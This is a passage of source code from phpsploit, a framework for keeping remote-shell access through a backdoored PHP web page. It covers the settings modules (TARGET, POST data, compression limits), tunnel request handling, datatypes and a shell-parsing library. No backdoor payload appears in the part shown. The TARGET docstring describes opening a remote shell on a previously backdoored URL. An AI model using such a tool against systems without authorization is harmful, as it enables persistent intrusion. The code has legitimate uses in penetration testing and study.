If you encounter http error 500 or if payload execution fails, 16 | you may need to lower the default limit of this setting. 17 | 18 | * REFERENCES: 19 | http://httpd.apache.org/docs/2.2/mod/core.html#LimitRequestBody 20 | https://secure.php.net/manual/en/ini.core.php#ini.post-max-size 21 | """ 22 | import linebuf 23 | import datatypes 24 | 25 | 26 | linebuf_type = linebuf.RandLineBuffer 27 | 28 | def validator(value): 29 | value = datatypes.ByteSize(value) 30 | if 250 > value: 31 | raise ValueError("can't be less than 250 bytes") 32 | return value 33 | 34 | 35 | def default_value(): 36 | return "4 MiB" 37 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_POST_DATA.py: -------------------------------------------------------------------------------- 1 | """ 2 | Custom string to append to POST data. 3 | 4 | Some TARGET URLs may require specific variables to be set 5 | in POST data (http request message body) 6 | 7 | This setting only affects HTTP POST Requests, so you should 8 | set REQ_DEFAULT_METHOD to "POST" for it to take effect. 9 | 10 | * EXAMPLE: 11 | # if TARGET url needs alternative POST vars to work properly: 12 | > set REQ_POST_DATA "user=admin&pass=w34kp4ss" 13 | 14 | * NOTE: 15 | This setting is useful only to specific cases where TARGET URL 16 | cannot work without it, if you don't need it, or don't know what 17 | you're doing, you should ignore this setting until you need it. 18 | """ 19 | import linebuf 20 | 21 | 22 | linebuf_type = linebuf.MultiLineBuffer 23 | 24 | 25 | def validator(value): 26 | return str(value) 27 | 28 | 29 | def default_value(): 30 | return "" 31 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_ZLIB_TRY_LIMIT.py: -------------------------------------------------------------------------------- 1 | """ 2 | Control over which payload size the zlib compression feature 3 | will be disabled. 4 | 5 | The phpsploit request engine does'its best to compress and fit 6 | the payload within as little HTTP Requests as possible. 7 | 8 | Therefore, zlib compression becomes exponentially CPU greedy 9 | as payload size gows up, and it might be extremelly slow to 10 | process very large requests. 11 | 12 | The REQ_ZLIB_TRY_LIMIT defines a value over which the payload 13 | is no more processed by zlib compression. Payloads over this 14 | value will then be encoded without zlib compression, making them 15 | bigger, but also a lot faster to generate. 16 | """ 17 | import linebuf 18 | import datatypes 19 | 20 | 21 | linebuf_type = linebuf.RandLineBuffer 22 | 23 | 24 | def validator(value): 25 | value = datatypes.ByteSize(value) 26 | if value < 1: 27 | raise ValueError("must be a positive bytes number") 28 | return value 29 | 30 | 31 | def default_value(): 32 | return "20 MiB" 33 | -------------------------------------------------------------------------------- /src/core/session/settings/SAVEPATH.py: -------------------------------------------------------------------------------- 1 | """ 2 | Default directory to save and load phpsploit session files. 3 | 4 | * EXAMPLE: 5 | If SAVEPATH is '/dev/shm', running `session load foo.session` 6 | will implicitly try to load '/dev/shm/foo.session. 7 | 8 | This setting also affetcs the `session save` command. 9 | """ 10 | import tempfile 11 | 12 | import linebuf 13 | import datatypes 14 | 15 | 16 | linebuf_type = linebuf.MultiLineBuffer 17 | 18 | 19 | def validator(value): 20 | return datatypes.Path(value, mode="drw") 21 | 22 | 23 | def default_value(): 24 | return tempfile.gettempdir() 25 | -------------------------------------------------------------------------------- /src/core/session/settings/TARGET.py: -------------------------------------------------------------------------------- 1 | """ 2 | Set remote target URL for communication with phpsploit 3 | 4 | This setting should contain at least 1 URL, previously 5 | backdoored with the backdoor code generated by 6 | `exploit --get-backdoor`. 7 | 8 | When running `exploit`, phpsploit uses this URL to try 9 | to open a remote shell. 10 | """ 11 | import linebuf 12 | import datatypes 13 | 14 | 15 | linebuf_type = linebuf.RandLineBuffer 16 | 17 | 18 | def validator(value): 19 | if str(value).lower() in ["", "none"]: 20 | return default_value() 21 | else: 22 | return datatypes.Url(value) 23 | 24 | 25 | def default_value(): 26 | return None 27 | -------------------------------------------------------------------------------- /src/core/session/settings/TMPPATH.py: -------------------------------------------------------------------------------- 1 | """ 2 | Default phpsploit temporary directory. 3 | 4 | * USE CASES: 5 | Used as base path for files edited with `edit` plugin. 6 | """ 7 | import tempfile 8 | 9 | import linebuf 10 | import datatypes 11 | 12 | 13 | linebuf_type = linebuf.MultiLineBuffer 14 | 15 | 16 | def validator(value): 17 | return datatypes.Path(value, mode="drw") 18 | 19 | 20 | def default_value(): 21 | return tempfile.gettempdir() 22 | -------------------------------------------------------------------------------- /src/core/session/settings/VERBOSITY.py: -------------------------------------------------------------------------------- 1 | """ 2 | Enable or Disable phpsploit framework verbosity. 3 | """ 4 | import linebuf 5 | import datatypes 6 | 7 | 8 | linebuf_type = linebuf.RandLineBuffer 9 | 10 | 11 | def validator(value): 12 | return datatypes.Boolean(value) 13 | 14 | 15 | def default_value(): 16 | return False 17 | -------------------------------------------------------------------------------- /src/core/tunnel/compat_handler.py: -------------------------------------------------------------------------------- 1 | """Backwards compatible tunnel handler for 2 | phpsploit v1 backdoors, aka: 3 | 4 | """ 5 | __all__ = ["Request_V1_x"] 6 | 7 | from . import handler 8 | from .exceptions import BuildError 9 | 10 | 11 | class Request_V1_x(handler.Request): 12 | 13 | def __init__(self): 14 | """Force default method to POST, because only this one 15 | was supported on phpsploit v1 versions. 16 | """ 17 | super().__init__() 18 | self.default_method = "POST" 19 | 20 | def build_forwarder(self, method, decoder): 21 | """Assuming that phpsploit v1 uses POST data as payload container 22 | without using an intermediate forwarder, this method shall 23 | always return an empty dictionnary. 24 | """ 25 | return {} 26 | 27 | def load_multipart(self): 28 | raise BuildError("Can't send multi request in v1-compatible mode") 29 | -------------------------------------------------------------------------------- /src/core/tunnel/exceptions.py: -------------------------------------------------------------------------------- 1 | """Phpsploit requests and tunnel exceptions 2 | """ 3 | __all__ = ["BuildError", "RequestError", "ResponseError"] 4 | 5 | 6 | class TunnelException(Exception): 7 | """Parent class for tunnel exception types 8 | """ 9 | 10 | 11 | class BuildError(TunnelException): 12 | """Tunnel request builder exception 13 | 14 | This exception is raised by the tunnel handler if 15 | something during the request crafting process fails. 16 | 17 | Used by the tunnel.handler.Request().Build() method. 18 | """ 19 | 20 | 21 | class RequestError(TunnelException): 22 | """Tunnel request sender exception 23 | 24 | This exception is raised by the tunnel handler if 25 | something fails while sending phpsploit requests. 26 | 27 | Used by the tunnel.handler.Request.Send() method. 28 | """ 29 | 30 | 31 | class ResponseError(TunnelException): 32 | """Tunnel payload dumper exception 33 | 34 | This exception is raised by the tunnel handler if 35 | the process of payload response extraction within 36 | the HTTP response fails. 37 | 38 | Used by the tunnel.handler.Request.Read() method. 39 | """ 40 | -------------------------------------------------------------------------------- /src/datatypes/Boolean.py: -------------------------------------------------------------------------------- 1 | from ui.color import colorize 2 | 3 | 4 | class Boolean(int): 5 | """High level boolean representation. (extends int) 6 | 7 | This datatype could be instanciated by passing a string 8 | "True" of "False", both case insensitive. 9 | It also can pass an int, 0 meaning false, and anything else 10 | true. 11 | 12 | >>> Boolean("fAlSe") 13 | False 14 | >>> Boolean(1) 15 | True 16 | >>> Boolean(False) 17 | False 18 | """ 19 | 20 | def __new__(cls, value): 21 | try: 22 | value = int(value) 23 | except ValueError: 24 | value = str(value).capitalize() 25 | if value == "False": 26 | value = False 27 | elif value == "True": 28 | value = True 29 | else: 30 | raise ValueError("boolean must be True/False") 31 | return int.__new__(cls, value) 32 | 33 | def _raw_value(self): 34 | return int(self) 35 | 36 | def __call__(self): 37 | return self._raw_value() 38 | 39 | def __str__(self): 40 | return colorize("%BoldCyan", "True" if self else "False") 41 | -------------------------------------------------------------------------------- /src/datatypes/ByteSize.py: -------------------------------------------------------------------------------- 1 | from ui.color import colorize 2 | 3 | 4 | class ByteSize(int): 5 | """Human readable byte size representation. (extends int) 6 | 7 | Takes an integer or byte number string representation (e.g. "1kb"). 8 | 9 | >>> size = ByteSize("1 KB") 10 | >>> print(size) 11 | 1 KiB (1024 bytes) 12 | >>> size() 13 | 1024 14 | 15 | """ 16 | _metrics = 'BKMGT' # ordered byte metric prefixes 17 | 18 | def __new__(cls, value=0): 19 | 20 | # convert to an uppercase string, and format it. 21 | value = str(value) 22 | if len(value.splitlines()) != 1: 23 | raise ValueError("invalid byte size representation") 24 | 25 | value = value.replace(',', '.').upper() + 'B' 26 | value = value.replace(' ', '').replace('O', 'B') 27 | 28 | # get back float number and metric prefix 29 | number = metric = str() 30 | for char in value: 31 | if char in '0123456789.': 32 | number += char 33 | else: 34 | metric = char 35 | break 36 | 37 | # make sure the syntax is correct 38 | try: 39 | number = float(number) 40 | assert metric in cls._metrics 41 | except: 42 | raise ValueError("invalid byte size representation") 43 | 44 | # get the real integer value, and return it's int instance 45 | multiplier = 1024 ** (cls._metrics.find(metric)) 46 | result = int(number * multiplier) 47 | 48 | return int.__new__(cls, result) 49 | 50 | def _raw_value(self): 51 | return int(self) 52 | 53 | def __call__(self): 54 | return self._raw_value() 55 | 56 | def __str__(self): 57 | self_str = super().__str__() 58 | if self == 1: 59 | return "1 byte" 60 | 61 | number = float(self) 62 | 63 | for index in range(len(self._metrics)): 64 | if number < 1024.0 or index == len(self._metrics)-1: 65 | break 66 | number /= 1024.0 67 | 68 | intLen = len(str(int(number))) 69 | precision = max(0, (3 - intLen)) 70 | number = str(round(number, precision)).rstrip('0').rstrip('.') 71 | 72 | byteNames = ('bytes', 'KiB', 'MiB', 'GiB', 'TiB') 73 | result = number + " " + byteNames[index] 74 | if index > 0: 75 | result += colorize(" ", '%DimWhite', "(%s bytes)" % self_str) 76 | 77 | return result 78 | -------------------------------------------------------------------------------- /src/datatypes/Code.py: -------------------------------------------------------------------------------- 1 | try: 2 | import pygments 3 | import pygments.formatters 4 | import pygments.lexers 5 | import ui.output 6 | USE_PYGMENTS = True 7 | except ImportError: 8 | USE_PYGMENTS = False 9 | 10 | 11 | def Code(language): 12 | 13 | class ColoredCode(str): 14 | """Piece of source code. (extends str) 15 | Takes a string representing a portion of source code. 16 | 17 | When printed or when self.__str__() is called the code will be 18 | formated using pygments if possible. self._code_value() is used 19 | to retrieve the code to be formated, its default implementation 20 | is to use self.__call__(). 21 | """ 22 | 23 | if USE_PYGMENTS: 24 | lexer = pygments.lexers.get_lexer_by_name(language) 25 | if ui.output.colors() >= 256: 26 | formatter = pygments.formatters.Terminal256Formatter 27 | else: 28 | formatter = pygments.formatters.TerminalFormatter 29 | formatter = formatter(style='vim', bg='dark') 30 | 31 | def _raw_value(self): 32 | return super().__str__() 33 | 34 | def __call__(self): 35 | return self._raw_value() 36 | 37 | def _code_value(self): 38 | return self.__call__() 39 | 40 | def __str__(self): 41 | string = self._code_value() 42 | if not USE_PYGMENTS: 43 | return string 44 | return pygments.highlight(string, 45 | self.lexer, 46 | self.formatter).strip() 47 | 48 | return ColoredCode 49 | -------------------------------------------------------------------------------- /src/datatypes/Interval.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | from ui.color import colorize 4 | 5 | 6 | class Interval(tuple): 7 | """Random float from interval numbers. (extends tuple) 8 | 9 | Static values can be defined by giving a single number, as an 10 | int, float or str. The returned float will then never change. 11 | 12 | Dynamic values can be defined by giving a couple of numbers, in 13 | tuple or str format. If str, is must contain two numbers 14 | separated by any one other char(s) (e.g. "between 1.2 and 12"). 15 | 16 | >>> val = Interval("1,5 < 5") 17 | >>> val 18 | (1.5, 5.0) 19 | >>> val() 20 | 4.2 21 | >>> print(val) 22 | 1.5 <= x <= 5 (random interval) 23 | """ 24 | def __new__(cls, value): 25 | rawval = str(value) 26 | if isinstance(value, (int, float, str)): 27 | value = str(value).replace(',', '.') 28 | value = re.split('[^0-9.]', value) 29 | 30 | value = [str(e) for e in value if e] 31 | if len(value) == 1: 32 | value = [value[0], value[0]] 33 | 34 | if len(value) != 2: 35 | raise ValueError("Invalid format: %s" % rawval) 36 | 37 | try: 38 | value[0] = float(value[0]) 39 | value[1] = float(value[1]) 40 | except ValueError: 41 | raise ValueError("Invalid float pair: %s" % rawval) 42 | value = tuple(sorted(value)) 43 | return tuple.__new__(cls, value) 44 | 45 | def _raw_value(self): 46 | return tuple(self) 47 | 48 | def __call__(self): 49 | return random.uniform(self[0], self[1]) 50 | 51 | def __str__(self): 52 | low, big = [str(x).rstrip('0').rstrip('.') for x in self] 53 | main = colorize('%Bold', '%s', '%Basic') 54 | 55 | if low == big: 56 | text = main %low 57 | comment = '(fixed interval)' 58 | else: 59 | text = ' <= '.join((low, main %'x', big)) 60 | comment = '(random interval)' 61 | 62 | return colorize('%Pink', text, " ", '%DimWhite', comment) 63 | -------------------------------------------------------------------------------- /src/datatypes/PhpCode.py: -------------------------------------------------------------------------------- 1 | import re 2 | from .Code import Code 3 | 4 | 5 | class PhpCode(Code("php")): 6 | """Line of PHP Code. (extends str) 7 | Takes a string representing a portion of PHP code. 8 | 9 | >>> code = PhpCode('') 10 | >>> code() 11 | 'phpinfo();' 12 | >>> print(code) 13 | '' 14 | 15 | """ 16 | def __new__(cls, string): 17 | pattern = (r"^(?:<\?(?:[pP][hH][pP])?\s+)?\s*(" 18 | r"[^\<\s].{4,}?)\s*;?\s*(?:\?\>)?$") 19 | # disable check if code is multiline 20 | string = string.strip() 21 | if len(string.splitlines()) == 1: 22 | try: 23 | # regex validates and parses the string 24 | string = re.match(pattern, string).group(1) 25 | except: 26 | raise ValueError('«%s» is not PHP code' % string) 27 | 28 | return super().__new__(cls, string) 29 | 30 | def _code_value(self): 31 | return "" % self.__call__() 32 | -------------------------------------------------------------------------------- /src/datatypes/Proxy.py: -------------------------------------------------------------------------------- 1 | """Proxy tunnel for use through urllib http tunnel. (extends str) 2 | """ 3 | import re 4 | from urllib.request import build_opener, ProxyHandler 5 | import extproxy 6 | 7 | from ui.color import colorize 8 | 9 | 10 | class Proxy(str): 11 | """Proxy tunnel for use through urllib http tunnel. (extends str) 12 | 13 | Takes None or a proxy in the form ://:, where scheme 14 | can be http or https. 15 | The Proxy datatype returns an urllib opener that includes current 16 | proxy, or empty opener if the proxy is None. 17 | 18 | Example: 19 | >>> print(Proxy('127.0.0.1:8080')) 20 | "http://127.0.0.1:8080" 21 | 22 | """ 23 | 24 | _match_regexp = \ 25 | r"^(?:(socks(?:4a?|5h?)|https?)://)?([\w.-]{3,63})(?::(\d+))$" 26 | 27 | def __new__(cls, proxy=None): 28 | if str(proxy).lower() == 'none': 29 | return str.__new__(cls, 'None') 30 | 31 | try: 32 | components = list(re.match(cls._match_regexp, proxy).groups()) 33 | except: 34 | raise ValueError('Invalid proxy format (run `help set PROXY`)') 35 | 36 | defaults = ['http', '', ''] 37 | for index, elem in enumerate(components): 38 | if elem is None: 39 | components[index] = defaults[index] 40 | 41 | proxy = "{}://{}:{}".format(*tuple(components)) 42 | 43 | return str.__new__(cls, proxy) 44 | 45 | # pylint: disable=super-init-not-called 46 | def __init__(self, _=None): 47 | """Build self._urllib_opener""" 48 | 49 | proxy = super().__str__() 50 | 51 | if proxy == "None": 52 | self._urllib_opener = build_opener() 53 | return 54 | 55 | components = list(re.match(self._match_regexp, proxy).groups()) 56 | self.scheme, self.host, self.port = components 57 | self.components = components 58 | 59 | proxy_handler = ProxyHandler({'http': proxy, 'https': proxy}) 60 | self._urllib_opener = build_opener(proxy_handler) 61 | 62 | def _raw_value(self): 63 | return super().__str__() 64 | 65 | def __call__(self): 66 | return self._urllib_opener 67 | 68 | def __str__(self): 69 | if not hasattr(self, "scheme"): 70 | return "None" 71 | return colorize('%Cyan', self.scheme, '://', '%BoldWhite', 72 | self.host, '%BasicCyan', ':', self.port) 73 | -------------------------------------------------------------------------------- /src/datatypes/ShellCmd.py: -------------------------------------------------------------------------------- 1 | from shnake import parse 2 | 3 | from .Code import Code 4 | 5 | 6 | class ShellCmd(Code("sh")): 7 | """ShellCmd is an executable program or shell command. (extends str) 8 | 9 | Takes an executable program path or shell command. 10 | 11 | >>> text_editor = ShellCmd('vim') 12 | >>> text_editor() 13 | "vim" 14 | 15 | """ 16 | def __new__(cls, executable): 17 | try: 18 | parse(executable) 19 | except SyntaxError: 20 | raise ValueError("«%s» is not a valid shell command" % executable) 21 | 22 | # Value is OK, now we maintain original. 23 | return str.__new__(cls, executable) 24 | -------------------------------------------------------------------------------- /src/datatypes/Url.py: -------------------------------------------------------------------------------- 1 | import re 2 | from ui.color import colorize 3 | 4 | 5 | class Url(str): 6 | """Http(s) url link. (extends str) 7 | 8 | Takes a string representation of an url link. it must start with 9 | http(s)://, domain can be an IP address or domain name. 10 | 11 | Example: 12 | >>> print(Url('google.fr')) 13 | "http://google.fr:80/" 14 | 15 | """ 16 | 17 | _match_regexp = (r"^(?:(https?)?://)?([\w.-]{3,63})" 18 | r"(?::(\d+))?(/.*?)?(?:\?(.+)?)?$") 19 | 20 | def __new__(cls, url): 21 | try: 22 | components = list(re.match(cls._match_regexp, url).groups()) 23 | except: 24 | raise ValueError('«%s» is not a valid URL Link' % url) 25 | 26 | defaults = ['http', '', '80', '/', ''] 27 | if components[0] and components[0].lower() == 'https': 28 | defaults[2] = '443' 29 | for index, elem in enumerate(components): 30 | if elem is None: 31 | components[index] = defaults[index] 32 | 33 | url = "{}://{}:{}{}".format(*tuple(components)) 34 | if components[4]: 35 | url += "?" + components[4] 36 | 37 | return str.__new__(cls, url) 38 | 39 | def __init__(self, _): 40 | url = super().__str__() 41 | components = list(re.match(self._match_regexp, url).groups()) 42 | self.scheme, self.host, self.port, self.path, self.query = components 43 | self.components = components 44 | 45 | def _raw_value(self): 46 | return super().__str__() 47 | 48 | def __call__(self): 49 | return self._raw_value() 50 | 51 | def __str__(self): 52 | return colorize('%Cyan', self.scheme, '://', '%BoldWhite', self.host, 53 | '%BasicCyan', ':', self.port, self.path, 54 | ("?" + self.query if self.query else "")) 55 | -------------------------------------------------------------------------------- /src/datatypes/WebBrowser.py: -------------------------------------------------------------------------------- 1 | import webbrowser 2 | from ui.color import colorize 3 | 4 | 5 | class WebBrowser(str): 6 | """Web browser object. (extends str, and users webbrowser lib); 7 | 8 | Takes the name of an available web browser in the current system. 9 | 10 | >>> browser = WebBrowser('firefox') 11 | >>> browser() 12 | "/usr/bin/firefox" 13 | >>> browser.open('http://www.google.com/') 14 | True 15 | 16 | """ 17 | def __new__(cls, name): 18 | # a boring Mas OS/X case .. 19 | blacklist = ['macosx'] 20 | 21 | lst = [x for x in webbrowser._browsers.keys() if x not in blacklist] 22 | lst.append("disabled") 23 | lst_repr = repr(lst)[1:-1] 24 | 25 | if len(lst) < 2 or name == "disabled": 26 | if name not in lst + ["", "default"]: 27 | raise ValueError("Can't bind to «%s». Valid choices: %s" 28 | % (name, lst_repr)) 29 | return str.__new__(cls, "disabled") 30 | 31 | try: 32 | if name.lower() in ["", "default"]: 33 | name = webbrowser.get().name 34 | else: 35 | webbrowser.get(name) 36 | # another boring Mac OS/X case .. 37 | except AttributeError: 38 | return str.__new__(cls, "default") 39 | except: 40 | raise ValueError("Can't bind to «%s». Valid choices: %s" 41 | % (name, lst_repr)) 42 | return str.__new__(cls, name) 43 | 44 | def _raw_value(self): 45 | return super().__str__() 46 | 47 | def __call__(self): 48 | return self._raw_value() 49 | 50 | def __str__(self): 51 | val = self._raw_value() 52 | if val == 'disabled': 53 | return colorize('%Red', val) 54 | elif val: 55 | return colorize('%Cyan', val) 56 | else: 57 | return colorize('%Cyan', "default") 58 | 59 | def open(self, url): 60 | val = self._raw_value() 61 | if val == "disabled": 62 | print("[-] BROWSER is disabled, open the following URL manually:") 63 | print("[-] %s" % url) 64 | else: 65 | browser = webbrowser.get(self._raw_value()) 66 | # try to open url in new browser tab 67 | return browser.open_new_tab(url) 68 | -------------------------------------------------------------------------------- /src/datatypes/__init__.py: -------------------------------------------------------------------------------- 1 | """Useful data types collection. 2 | 3 | This package includes some useful data types, which supports 4 | dynamic value and enhanced representations. 5 | It has been developped in order to properly handle the PhpSploit 6 | framework's session settings and environment variables. 7 | 8 | PhpSploit dedicated datatypes obey the following conventions: 9 | ============================================================= 10 | 11 | * _raw_value() 12 | Returns the unherited type's raw value. It convention has been 13 | made to assist session pickling, because even if custom types 14 | can be pickled, it stands hard to work with pickled sessions 15 | on future PhpSploit versions that use different datatypes names, 16 | or if the structure changes in the future. 17 | >>> val = Interval('1-10') 18 | >>> print( type(val), "==>", repr(val) ) 19 | ==> (1.0, 10.0) 20 | >>> raw = val._raw_value() 21 | >>> print( type(raw), "==>", repr(raw) ) 22 | ==> (1.0, 10.0) 23 | 24 | * __call__() 25 | Returns a usable value. If dynamic, it must return one of the 26 | possible values. In the case it is static, it returns the same as 27 | _raw_value(). 28 | >>> val = Interval('1-10') 29 | >>> val() 30 | 3.2 31 | 32 | * __str__() 33 | Returns a nice string representation of the object, it may include 34 | ANSI colors, because the PhpSploit framework's output manager 35 | automagically strips them if they cannot be displayed anyways. 36 | >>> print(Interval('1-10')) 37 | 1 <= x <= 10 (random interval) 38 | 39 | * Initialization: 40 | Any data type MUST be able to take its _raw_value() as instance 41 | initializer. 42 | >>> Interval( Interval("1-10")._raw_value() ) # it must be valid 43 | 44 | """ 45 | 46 | from .ByteSize import ByteSize 47 | from .Boolean import Boolean 48 | from .Path import Path 49 | from .WebBrowser import WebBrowser 50 | from .Interval import Interval 51 | from .Proxy import Proxy 52 | from .Url import Url 53 | from .Code import Code 54 | from .PhpCode import PhpCode 55 | from .ShellCmd import ShellCmd 56 | -------------------------------------------------------------------------------- /src/decorators/__init__.py: -------------------------------------------------------------------------------- 1 | """Miscelaneous decorators. 2 | 3 | Collection of decorators used by the phpsploit framework's core 4 | 5 | """ 6 | -------------------------------------------------------------------------------- /src/decorators/isolate_io_context.py: -------------------------------------------------------------------------------- 1 | """A decorator for separating I/O context. 2 | """ 3 | import sys 4 | 5 | 6 | def isolate_io_context(function): 7 | """A decorator for separating I/O context. 8 | 9 | This decorator isolates I/O context of target 10 | function or method. 11 | 12 | I/O Context is a mix of terminal related elements, 13 | such as current stdout and readline completer 14 | attributes. 15 | 16 | This decorator is useful if you run something 17 | that reconfigures the readline completer, or 18 | needs to use the default stdout file descriptor 19 | instead of the phpsploit's stdout wrapper. 20 | """ 21 | def wrapper(*args, **kwargs): 22 | try: 23 | import readline 24 | handle_readline = True 25 | except ImportError: 26 | handle_readline = False 27 | 28 | if handle_readline: 29 | # backup & reset readline completer 30 | old_readline_completer = readline.get_completer() 31 | readline.set_completer((lambda x: x)) 32 | # backup & reset readline history 33 | old_readline_history = [] 34 | hist_sz = readline.get_current_history_length() 35 | for i in range(1, hist_sz + 1): 36 | line = readline.get_history_item(i) 37 | old_readline_history.append(line) 38 | readline.clear_history() 39 | # backup & reset stdout 40 | old_stdout = sys.stdout 41 | sys.stdout = sys.__stdout__ 42 | 43 | try: 44 | retval = function(*args, **kwargs) 45 | finally: 46 | 47 | if handle_readline: 48 | # restore old readline completer 49 | readline.set_completer(old_readline_completer) 50 | # restore old readline history 51 | readline.clear_history() 52 | for line in old_readline_history: 53 | readline.add_history(line) 54 | # restore old stdout 55 | sys.stdout = old_stdout 56 | 57 | return retval 58 | return wrapper 59 | -------------------------------------------------------------------------------- /src/decorators/isolate_readline_context.py: -------------------------------------------------------------------------------- 1 | """A decorator for separating readline context. 2 | """ 3 | 4 | 5 | def isolate_readline_context(function): 6 | """A decorator for separating readline context. 7 | 8 | This decorator isolates readline context of target 9 | function or method. 10 | 11 | Use when phpsploit's readline context should be 12 | reset temporarly is the context of triggering 13 | function or method. 14 | 15 | Unlike `isolate_io_context`, this decorator keeps 16 | original stdout wrapper. 17 | """ 18 | def wrapper(*args, **kwargs): 19 | try: 20 | import readline 21 | handle_readline = True 22 | except ImportError: 23 | handle_readline = False 24 | 25 | if handle_readline: 26 | # backup & reset readline completer 27 | old_readline_completer = readline.get_completer() 28 | readline.set_completer((lambda x: x)) 29 | # backup & reset readline history 30 | old_readline_history = [] 31 | hist_sz = readline.get_current_history_length() 32 | for i in range(1, hist_sz + 1): 33 | line = readline.get_history_item(i) 34 | old_readline_history.append(line) 35 | readline.clear_history() 36 | 37 | try: 38 | retval = function(*args, **kwargs) 39 | finally: 40 | 41 | if handle_readline: 42 | # restore old readline completer 43 | readline.set_completer(old_readline_completer) 44 | # restore old readline history 45 | readline.clear_history() 46 | for line in old_readline_history: 47 | readline.add_history(line) 48 | 49 | return retval 50 | return wrapper 51 | -------------------------------------------------------------------------------- /src/decorators/readonly_settings.py: -------------------------------------------------------------------------------- 1 | """A decorator for limiting session settings scope. 2 | 3 | The readonly_settings decorator takes an undefined number of 4 | string arguments, representing the names of the settings 5 | to backup, in order to force them to be kept back after 6 | function execution. 7 | 8 | If no arguments are set, then all session settings will 9 | be write protected. 10 | 11 | Example: 12 | >>> @readonly_settings("SAVEPATH") 13 | >>> def test_function(): 14 | ... session.Conf.SAVEPATH = "/modified/savepath" 15 | ... session.Conf.TMPPATH = "/modified/tmppath" 16 | ... # calling a function that makes use of the altered 17 | ... # session settings. 18 | ... session.dump(None) 19 | ... return None 20 | ... 21 | >>> session.Conf.SAVEPATH = "/default/savepath" 22 | >>> session.Conf.TMPPATH = "/default/tmppath" 23 | >>> 24 | >>> print(session.CONF.SAVEPATH) 25 | "/default/savepath" 26 | >>> print(session.CONF.TMPPATH) 27 | "/default/tmppath" 28 | >>> 29 | >>> test_function() 30 | >>> 31 | >>> print(session.CONF.SAVEPATH) 32 | "/default/savepath" 33 | >>> print(session.CONF.TMPPATH) 34 | "/modified/tmppath" 35 | 36 | As you can see in the example above, SAVEPATH have been 37 | write protected, and it has been reset to it's old state 38 | after function execution. 39 | 40 | """ 41 | from core import session 42 | 43 | 44 | def readonly_settings(*decorator_args): 45 | # no args = all settings 46 | if not decorator_args: 47 | decorator_args = list(session.Conf.keys()) 48 | 49 | def decorator(function): 50 | def wrapper(*args, **kwargs): 51 | # backup all protected settings 52 | protected_settings = {} 53 | for name in decorator_args: 54 | protected_settings[name] = session.Conf[name] 55 | # execute decorated function 56 | try: 57 | retval = function(*args, **kwargs) 58 | # restore protected settings 59 | finally: 60 | for name, value in protected_settings.items(): 61 | session.Conf[name] = value 62 | return retval 63 | 64 | return wrapper 65 | 66 | return decorator 67 | -------------------------------------------------------------------------------- /src/shnake-0.5/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | ### Version 0.5 *(2016-07-24)* 2 | - fix return_errcode() handler for boolean values. 3 | - make lexer source code PEP8 compliant. 4 | 5 | ### Version 0.4 *(2014-10-25)* 6 | - `command not found` now returns 127, just like bash 7 | - interpret() now supports bash's 'set -e' like behavior, 8 | by setting `fatal_errors` argument to True. 9 | 10 | ### Version 0.3 *(2014-07-31)* 11 | - Remove implicit call of `help ` when typing ` --help`. 12 | - Add **CHANGELOG.md** file. 13 | 14 | ### Version 0.2 *(2014-07-31)* 15 | - Convert **README** file to markdown format. 16 | - Improve **demo.py** file 17 | - Fix some minor bugs on **shell.py** 18 | 19 | ### Version 0.1 *(2014-04-15)* 20 | - First release. 21 | -------------------------------------------------------------------------------- /src/shnake-0.5/TODO: -------------------------------------------------------------------------------- 1 | Parser: 2 | * @shnake deserves a real TODO file ... 3 | 4 | TODO Style: 5 | * @hilighted @words , todo phrase 6 | * next phrase 7 | -------------------------------------------------------------------------------- /src/shnake-0.5/demo/demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | 6 | # Ensure that the script is not run with python 2.x 7 | if (sys.version_info.major < 3): 8 | sys.exit('shnake library is not compatible with python < 3') 9 | 10 | # Ensure the script is not imported 11 | try: 12 | from __main__ import __file__ 13 | del __file__ 14 | except: 15 | sys.exit('./demo.py cannot be imported !') 16 | 17 | # TEST 18 | import shnake 19 | 20 | # lexer behavior 21 | single_line_cmd = "ls -la /tmp 2>&1 && echo foo'bar'\ " 22 | print("DEMO: shnake.lex()") 23 | print("The shnake lexer handles single line commands:") 24 | print() 25 | print("Raw command: %r" % single_line_cmd) 26 | result = shnake.lex(single_line_cmd) 27 | print("Lexed command: %r" % result) 28 | print() 29 | print() 30 | 31 | # parser behavior 32 | multi_line_cmd = "cmd1-part1\\\ncmd1-part2\ncmd2" 33 | print() 34 | print("DEMO: shnake.parse()") 35 | print("The shnake parser is a wrapper for the lexer.") 36 | print("Its handles multi-line strings, so it can parse file buffers") 37 | print() 38 | print("Raw command: %r" % multi_line_cmd) 39 | result = shnake.parse(multi_line_cmd) 40 | print("Parsed command: %r" % result) 41 | print() 42 | print() 43 | 44 | # command interpreter demo 45 | print("DEMO: shnake.Shell()") 46 | print("This shnake shell is a command line interpreter.") 47 | print("Type: `help` in the shell interface") 48 | interpreter = shnake.Shell() 49 | interpreter.prompt = "shnake > " 50 | interpreter.cmdloop() 51 | -------------------------------------------------------------------------------- /src/shnake-0.5/shnake/__init__.py: -------------------------------------------------------------------------------- 1 | _version__ = "0.5" 2 | __author__ = "nil0x42 " 3 | 4 | from .lexer import Lexer, lex 5 | from .parser import Parser, parse 6 | from .shell import Shell 7 | -------------------------------------------------------------------------------- /src/shnake-0.5/shnake/parser.py: -------------------------------------------------------------------------------- 1 | """Shnake's pyparsing based shell parser 2 | 3 | The shnake parser handles multiline commands using the lexer 4 | 5 | Take a look at shell.py parserline() and lex() methods. 6 | 7 | """ 8 | 9 | import io 10 | from .lexer import lex as shnake_lex 11 | 12 | __author__ = "nil0x42 " 13 | 14 | class LineBuffer: 15 | """Command line generator designed for shemu's Parser() class 16 | 17 | It takes a file object or None as main argument (`file`). 18 | 19 | If None, a bash like prompt based on the PS1/PS2 strings is 20 | used as readline() input collector. 21 | 22 | """ 23 | def __init__(self, file): 24 | if isinstance(file, str): 25 | file = io.StringIO(file) 26 | self.file = file 27 | 28 | 29 | def readline(self): 30 | line = self.file.readline() 31 | if not line: 32 | return "" 33 | return line.splitlines()[0] + "\n" 34 | 35 | 36 | 37 | class Parser: 38 | 39 | def __init__(self): 40 | pass 41 | 42 | 43 | def __call__(self, string, lexer=shnake_lex): 44 | """Interpret `file` data as a command line sequence. 45 | 46 | """ 47 | line = 0 48 | result = [] 49 | buffer = 